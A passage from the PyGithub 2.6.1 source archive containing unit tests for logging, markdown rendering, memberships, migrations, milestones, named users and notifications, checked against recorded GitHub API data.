07:42:42 GMT", "connection": "keep-alive", "etag": '"9bd085221a16b6d2ea95e72634c3c1ac"', "cache-control": "public, max-age=60, s-maxage=60", "date": "Tue, 25 Sep 2012 20:38:56 GMT", "content-type": "application/json; charset=utf-8", "DEBUG_FRAME": 0, } output = '{"type":"User","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","created_at":"2010-07-09T06:10:06Z","email":"vincent@vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":3,"bio":"","following":29,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_repos":13,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"}' self.assertLogging("GET", url, requestHeaders, responseHeaders, output) def testLoggingDoesNotModifyRequestHeaders(self): # Recorded replay data already sanitizes Authorization headers, so we # need to go under the covers requestHeaders = {"Authorization": "thisisnotatoken"} responseHeaders = {"status": "200 OK"} github.Github()._Github__requester._Requester__log( "GET", "http://example.com", requestHeaders, None, 200, responseHeaders, None, ) self.assertEqual(requestHeaders["Authorization"], "thisisnotatoken") def testMaskingOfCustomAuthHeader(self): requestHeaders = {"Custom key": "secret"} responseHeaders = {"status": "200 OK"} github.Github(auth=CustomAuth())._Github__requester._Requester__log( "GET", "http://example.com", requestHeaders, None, 200, responseHeaders, None, ) self.assertEqual({"Custom key": "Masked custom header"}, self.logger.requestHeaders) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Markdown.py0000644000175100001660000000635114756101563016271 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Markdown(Framework.TestCase): def setUp(self): super().setUp() self.text = "MyTitle\n=======\n\nIssue #1" self.repo = self.g.get_user().get_repo("PyGithub") def testRenderMarkdown(self): self.assertEqual( self.g.render_markdown(self.text), '

MyTitle

Issue #1

', ) def testRenderGithubFlavoredMarkdown(self): self.assertEqual( self.g.render_markdown(self.text, self.repo), '

MyTitle

Issue #1

', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Membership.py0000644000175100001660000000741614756101563016605 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Laurent Raufaste # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Pavan Kunisetty # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class Membership(Framework.TestCase): def setUp(self): super().setUp() self.membership = self.g.get_user().get_organization_membership("github") def testAttributes(self): self.assertEqual(self.membership.organization.login, "github") self.assertEqual(self.membership.organization_url, "https://api.github.com/orgs/invitocat") self.assertIsNone(self.membership.permissions) self.assertEqual(self.membership.role, "admin") self.assertEqual(self.membership.state, "pending") self.assertEqual(self.membership.url, "https://api.github.com/orgs/invitocat/memberships/defunkt") self.assertEqual(self.membership.user.login, "octocat") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Migration.py0000644000175100001660000001377714756101563016452 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Christoph Reiter # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timedelta, timezone import github from . import Framework class Migration(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user() self.migration = self.user.get_migrations()[0] def testAttributes(self): self.assertIsNone(self.migration.archive_url) self.assertEqual( self.migration.created_at, datetime(2018, 9, 14, 1, 35, 35, tzinfo=timezone(timedelta(seconds=19800))) ) self.assertEqual(self.migration.exclude, ["repositories"]) self.assertEqual(self.migration.exclude_attachments, False) self.assertEqual(self.migration.exclude_git_data, False) self.assertEqual(self.migration.exclude_metadata, False) self.assertEqual(self.migration.exclude_owner_projects, False) self.assertEqual(self.migration.exclude_releases, False) self.assertEqual(self.migration.guid, "608bceae-b790-11e8-8b43-4e3cb0dd56cc") self.assertEqual(self.migration.id, 25320) self.assertEqual(self.migration.lock_repositories, False) self.assertEqual(self.migration.node_id, "MDk6TWlncmF0aW9uMjUzMjA=") self.assertEqual(self.migration.org_metadata_only, False) self.assertEqual(self.migration.owner.login, "singh811") self.assertEqual(self.migration.guid, "608bceae-b790-11e8-8b43-4e3cb0dd56cc") self.assertEqual(self.migration.repositories[0].full_name, "singh811/sample-repo") self.assertEqual(self.migration.state, "exported") self.assertEqual(self.migration.lock_repositories, False) self.assertEqual(self.migration.exclude_attachments, False) self.assertEqual(len(self.migration.repositories), 1) self.assertEqual(self.migration.repositories[0].name, "sample-repo") self.assertEqual( self.migration.updated_at, datetime(2018, 9, 14, 1, 35, 46, tzinfo=timezone(timedelta(seconds=19800))) ) self.assertEqual(self.migration.url, "https://api.github.com/user/migrations/25320") self.assertEqual( self.migration.created_at, datetime(2018, 9, 14, 1, 35, 35, tzinfo=timezone(timedelta(seconds=19800))), ) self.assertEqual( self.migration.updated_at, datetime(2018, 9, 14, 1, 35, 46, tzinfo=timezone(timedelta(seconds=19800))), ) self.assertEqual( repr(self.migration), 'Migration(url="https://api.github.com/user/migrations/25320", state="exported")', ) def testGetArchiveUrlWhenNotExported(self): self.assertRaises(github.UnknownObjectException, lambda: self.migration.get_archive_url()) def testGetStatus(self): self.assertEqual(self.migration.get_status(), "exported") def testGetArchiveUrlWhenExported(self): self.assertEqual( self.migration.get_archive_url(), "https://github-cloud.s3.amazonaws.com/migration/25320/24575?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20180913%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20180913T201100Z&X-Amz-Expires=300&X-Amz-Signature=a0aeb638facd0c78c1ed3ca86022eddbee91e5fe1bb48ee830f54b8b7b305026&X-Amz-SignedHeaders=host&actor_id=41840111&response-content-disposition=filename%3D608bceae-b790-11e8-8b43-4e3cb0dd56cc.tar.gz&response-content-type=application%2Fx-gzip", ) def testDelete(self): self.assertEqual(self.migration.delete(), None) def testGetArchiveUrlWhenDeleted(self): self.assertRaises(github.UnknownObjectException, lambda: self.migration.get_archive_url()) def testUnlockRepo(self): self.assertEqual(self.migration.unlock_repo("sample-repo"), None) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Milestone.py0000644000175100001660000001301514756101563016441 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Michell Stuttgart # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import date, datetime, timezone from . import Framework class Milestone(Framework.TestCase): def setUp(self): super().setUp() self.milestone = self.g.get_repo("PyGithub/PyGithub").get_milestone(1) def testAttributes(self): self.assertEqual(self.milestone.closed_at, datetime(2012, 3, 12, 22, 18, 49, tzinfo=timezone.utc)) self.assertEqual(self.milestone.closed_issues, 2) self.assertEqual(self.milestone.created_at, datetime(2012, 3, 8, 12, 22, 10, tzinfo=timezone.utc)) self.assertEqual(self.milestone.creator.login, "jacquev6") self.assertEqual(self.milestone.description, "") self.assertEqual(self.milestone.due_on, datetime(2012, 3, 13, 7, 0, 0, tzinfo=timezone.utc)) self.assertEqual(self.milestone.html_url, "https://github.com/PyGithub/PyGithub/milestone/1") self.assertEqual(self.milestone.id, 93546) self.assertEqual( self.milestone.labels_url, "https://api.github.com/repos/PyGithub/PyGithub/milestones/1/labels" ) self.assertEqual(self.milestone.node_id, "MDk6TWlsZXN0b25lOTM1NDY=") self.assertEqual(self.milestone.number, 1) self.assertEqual(self.milestone.open_issues, 0) self.assertEqual(self.milestone.state, "closed") self.assertEqual(self.milestone.title, "Version 0.4") self.assertEqual(self.milestone.updated_at, datetime(2012, 9, 11, 18, 48, 34, tzinfo=timezone.utc)) self.assertEqual(self.milestone.url, "https://api.github.com/repos/PyGithub/PyGithub/milestones/1") self.assertEqual(self.milestone.creator.login, "jacquev6") self.assertEqual(repr(self.milestone), 'Milestone(title="Version 0.4", number=1)') def testEditWithMinimalParameters(self): self.milestone.edit("Title edited by PyGithub") self.assertEqual(self.milestone.title, "Title edited by PyGithub") def testEditWithAllParameters(self): self.milestone.edit( "Title edited twice by PyGithub", "closed", "Description edited by PyGithub", due_on=date(2012, 6, 16), ) self.assertEqual(self.milestone.title, "Title edited twice by PyGithub") self.assertEqual(self.milestone.state, "closed") self.assertEqual(self.milestone.description, "Description edited by PyGithub") self.assertEqual( self.milestone.due_on, datetime(2012, 6, 16, 7, 0, 0, tzinfo=timezone.utc), ) def testGetLabels(self): self.assertListKeyEqual( self.milestone.get_labels(), lambda lb: lb.name, ["Public interface", "Project management"], ) def testDelete(self): self.milestone.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/NamedUser.py0000644000175100001660000004417614756101563016401 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Bruce Richardson # # Copyright 2018 Riccardo Pittau # # Copyright 2018 namc # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Surya Teja <94suryateja@gmail.com> # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Daniel Haas # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class NamedUser(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user("jacquev6") def testAttributes(self): self.assertEqual(self.user.avatar_url, "https://avatars.githubusercontent.com/u/327146?v=4") self.assertIsNone(self.user.bio) self.assertEqual(self.user.blog, "http://vincent-jacques.net") self.assertIsNone(self.user.collaborators) self.assertIsNone(self.user.company) self.assertIsNone(self.user.contributions) self.assertEqual(self.user.created_at, datetime(2010, 7, 9, 6, 10, 6, tzinfo=timezone.utc)) self.assertIsNone(self.user.disk_usage) self.assertIsNone(self.user.display_login) self.assertEqual(self.user.email, "vincent@vincent-jacques.net") self.assertEqual(self.user.events_url, "https://api.github.com/users/jacquev6/events{/privacy}") self.assertEqual(self.user.followers, 98) self.assertEqual(self.user.followers_url, "https://api.github.com/users/jacquev6/followers") self.assertEqual(self.user.following, 62) self.assertEqual(self.user.following_url, "https://api.github.com/users/jacquev6/following{/other_user}") self.assertEqual(self.user.gists_url, "https://api.github.com/users/jacquev6/gists{/gist_id}") self.assertEqual(self.user.gravatar_id, "") self.assertTrue(self.user.hireable) self.assertEqual(self.user.html_url, "https://github.com/jacquev6") self.assertEqual(self.user.id, 327146) self.assertEqual(self.user.location, "France") self.assertEqual(self.user.login, "jacquev6") self.assertEqual(self.user.name, "Vincent Jacques") self.assertEqual(self.user.node_id, "MDQ6VXNlcjMyNzE0Ng==") self.assertIsNone(self.user.notification_email) self.assertEqual(self.user.organizations_url, "https://api.github.com/users/jacquev6/orgs") self.assertIsNone(self.user.owned_private_repos) self.assertIsNone(self.user.permissions) self.assertIsNone(self.user.plan) self.assertIsNone(self.user.plan) self.assertIsNone(self.user.plan) self.assertIsNone(self.user.plan) self.assertIsNone(self.user.private_gists) self.assertEqual(self.user.public_gists, 18) self.assertEqual(self.user.public_repos, 38) self.assertEqual(self.user.received_events_url, "https://api.github.com/users/jacquev6/received_events") self.assertEqual(self.user.repos_url, "https://api.github.com/users/jacquev6/repos") self.assertIsNone(self.user.role_name) self.assertEqual(self.user.score, None) self.assertEqual(self.user.site_admin, False) self.assertIsNone(self.user.starred_at) self.assertEqual(self.user.starred_url, "https://api.github.com/users/jacquev6/starred{/owner}{/repo}") self.assertEqual(self.user.subscriptions_url, "https://api.github.com/users/jacquev6/subscriptions") self.assertIsNone(self.user.suspended_at) self.assertIsNone(self.user.text_matches) self.assertIsNone(self.user.total_private_repos) self.assertIsNone(self.user.twitter_username) self.assertEqual(self.user.type, "User") self.assertEqual(self.user.updated_at, datetime(2024, 10, 20, 7, 14, 52, tzinfo=timezone.utc)) self.assertEqual(self.user.url, "https://api.github.com/users/jacquev6") self.assertEqual(self.user.node_id, "MDQ6VXNlcjMyNzE0Ng==") self.assertEqual(repr(self.user), 'NamedUser(login="jacquev6")') self.assertEqual(repr(self.user.plan), "None") self.assertEqual(self.user.user_view_type, "public") def testAttributesOfOtherUser(self): self.user = self.g.get_user("nvie") self.assertEqual( self.user.avatar_url, "https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png", ) self.assertEqual(self.user.bio, None) self.assertEqual(self.user.blog, "http://nvie.com") self.assertEqual(self.user.collaborators, None) self.assertEqual(self.user.company, "3rd Cloud") self.assertEqual( self.user.created_at, datetime(2009, 5, 12, 21, 19, 38, tzinfo=timezone.utc), ) self.assertEqual(self.user.disk_usage, None) self.assertEqual(self.user.email, "vincent@3rdcloud.com") self.assertEqual(self.user.followers, 296) self.assertEqual(self.user.following, 41) self.assertEqual(self.user.gravatar_id, "c5a7f21b46df698f3db31c37ed0cf55a") self.assertFalse(self.user.hireable) self.assertEqual(self.user.html_url, "https://github.com/nvie") self.assertEqual(self.user.id, 83844) self.assertEqual(self.user.location, "Netherlands") self.assertEqual(self.user.login, "nvie") self.assertEqual(self.user.name, "Vincent Driessen") self.assertEqual(self.user.owned_private_repos, None) self.assertEqual(self.user.plan, None) self.assertEqual(self.user.private_gists, None) self.assertEqual(self.user.public_gists, 16) self.assertEqual(self.user.public_repos, 61) self.assertEqual(self.user.suspended_at, None) self.assertEqual(self.user.total_private_repos, None) self.assertEqual(self.user.twitter_username, "nvie") self.assertEqual(self.user.type, "User") self.assertEqual(self.user.url, "https://api.github.com/users/nvie") self.assertEqual(self.user.node_id, "MDQ6VXNlcjgzODQ0") self.assertEqual(repr(self.user), 'NamedUser(login="nvie")') def testGetGists(self): self.assertListKeyEqual( self.user.get_gists(), lambda g: g.description, [ "Gist created by PyGithub", "FairThreadPoolPool.cpp", "How to error 500 Github API v3, as requested by Rick (GitHub Staff)", "Cadfael: order of episodes in French DVD edition", ], ) self.assertListKeyEqual( self.user.get_gists(since=datetime(2012, 3, 1, 17, 0, 0)), lambda g: g.description, ["Gist created by PyGithub", "FairThreadPoolPool.cpp"], ) def testGetFollowers(self): self.assertListKeyEqual( self.user.get_followers(), lambda f: f.login, [ "jnorthrup", "brugidou", "regisb", "walidk", "afzalkhan", "sdanzan", "vineus", "gturri", "fjardon", "cjuniet", "jardon-u", "kamaradclimber", "L42y", ], ) def testGetFollowing(self): self.assertListKeyEqual( self.user.get_following(), lambda f: f.login, [ "nvie", "schacon", "jamis", "chad", "unclebob", "dabrahams", "jnorthrup", "brugidou", "regisb", "walidk", "tanzilli", "fjardon", "r3c", "sdanzan", "vineus", "cjuniet", "gturri", "ant9000", "asquini", "claudyus", "jardon-u", "s-bernard", "kamaradclimber", "Lyloa", ], ) def testHasInFollowing(self): nvie = self.g.get_user("nvie") self.assertTrue(self.user.has_in_following(nvie)) def testGetOrgs(self): self.assertListKeyEqual(self.user.get_orgs(), lambda o: o.login, ["BeaverSoftware"]) def testGetOrganizationMembership(self): o = self.user.get_orgs() membership = self.user.get_organization_membership(o[0]) self.assertEqual( repr(membership), 'Membership(url="https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6")', ) self.assertEqual(self.user.login, membership.user.login) self.assertEqual(membership.state, "active") self.assertEqual(membership.role, "member") self.assertEqual( membership.url, "https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6", ) self.assertEqual(membership.organization.login, "BeaverSoftware") self.assertEqual(membership.organization_url, "https://api.github.com/orgs/BeaverSoftware") def testGetOrganizationMembershipNotMember(self): from github import UnknownObjectException self.assertRaises( UnknownObjectException, self.user.get_organization_membership, "BeaverSoftware", ) def testGetRepo(self): self.assertEqual( self.user.get_repo("PyGithub").description, "Python library implementing the full Github API v3", ) def testGetRepos(self): self.assertListKeyEqual( self.user.get_repos(), lambda r: r.name, [ "TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE", ], ) def testGetReposWithAllArgs(self): self.assertListKeyEqual( self.user.get_repos(type="owner", sort="created", direction="asc"), lambda r: r.name, [ "DrawTurksHead", "vincent-jacques.net", "IpMap", "MockMockMock", "ActionTree", "InteractiveCommandLine", "RecursiveDocument", "MarblesCollide", "jacquev6.github.io", "LowVoltage", ], ) def testGetWatched(self): self.assertListKeyEqual( self.user.get_watched(), lambda r: r.name, [ "git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "PyGithub", "django", "django", "TestPyGithub", ], ) def testGetStarred(self): self.assertListKeyEqual( self.user.get_starred(), lambda r: r.name, [ "git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "amaunet", "django", "django", "moviePlanning", "folly", ], ) def testGetSubscriptions(self): self.assertListKeyEqual( self.user.get_subscriptions(), lambda r: r.name, [ "ViDE", "Boost.HierarchicalEnum", "QuadProgMm", "DrawSyntax", "DrawTurksHead", "PrivateStuff", "vincent-jacques.net", "Hacking", "C4Planner", "developer.github.com", "PyGithub", "PyGithub", "django", "CinePlanning", "PyGithub", "PyGithub", "PyGithub", "IpMap", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", ], ) def testGetEvents(self): self.assertListKeyBegin( self.user.get_events(), lambda e: e.type, ["GistEvent", "IssueCommentEvent", "PushEvent", "IssuesEvent"], ) def testGetPublicEvents(self): self.assertListKeyBegin( self.user.get_public_events(), lambda e: e.type, ["PushEvent", "CreateEvent", "GistEvent", "IssuesEvent"], ) def testGetPublicReceivedEvents(self): self.assertListKeyBegin( self.user.get_public_received_events(), lambda e: e.type, [ "IssueCommentEvent", "IssueCommentEvent", "IssueCommentEvent", "IssueCommentEvent", ], ) def testGetReceivedEvents(self): self.assertListKeyBegin( self.user.get_received_events(), lambda e: e.type, [ "IssueCommentEvent", "IssueCommentEvent", "IssueCommentEvent", "IssueCommentEvent", ], ) def testGetKeys(self): self.assertListKeyEqual( self.user.get_keys(), lambda k: k.id, [3557894, 3791954, 3937333, 4051357, 4051492], ) def testUserEquality(self): u1 = self.g.get_user("nvie") u2 = self.g.get_user("nvie") self.assertTrue(u1 == u2) self.assertEqual(u1, u2) self.assertEqual(u1.__hash__(), u2.__hash__()) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/NamedUser1430.py0000644000175100001660000000627414756101563016706 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class NamedUser1430(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user("ahhda") def testGetProjects(self): self.assertListKeyBegin( self.user.get_projects(state="all"), lambda e: e.id, [4083095], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Notification.py0000644000175100001660000000601414756101563017131 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Alice GIRARD # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2024 Enrico Minack # # Copyright 2024 Matthias Bilger # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class Notification(Framework.TestCase): def setUp(self): super().setUp() self.notification = self.g.get_user().get_notifications()[0] def testMarkAsRead(self): self.notification.mark_as_read() def testMarkAsDone(self): self.notification.mark_as_done() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Organization.py0000644000175100001660000011253314756101563017153 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Balázs Rostás # # Copyright 2018 Anton Nguyen # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Jasper van Wanrooy # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Brian Choy # # Copyright 2019 Geoffroy Jabouley # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2019 ebrown # # Copyright 2020 Geoff Low # # Copyright 2020 Glenn McDonald # # Copyright 2020 Steve Kowalik # # Copyright 2020 latacora-daniel <71085674+latacora-daniel@users.noreply.github.com># # Copyright 2020 ton-katsu # # Copyright 2021 Marina Peresypkina # # Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Felipe Peter # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2024 Andrii Kezikov # # Copyright 2024 Enrico Minack # # Copyright 2024 Jacky Lam # # Copyright 2024 Mohamed Mostafa <112487260+mohy01@users.noreply.github.com> # # Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # Copyright 2024 Thomas Cooper # # Copyright 2024 Thomas Crowley <15927917+thomascrowley@users.noreply.github.com># # Copyright 2025 Bill Napier # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR 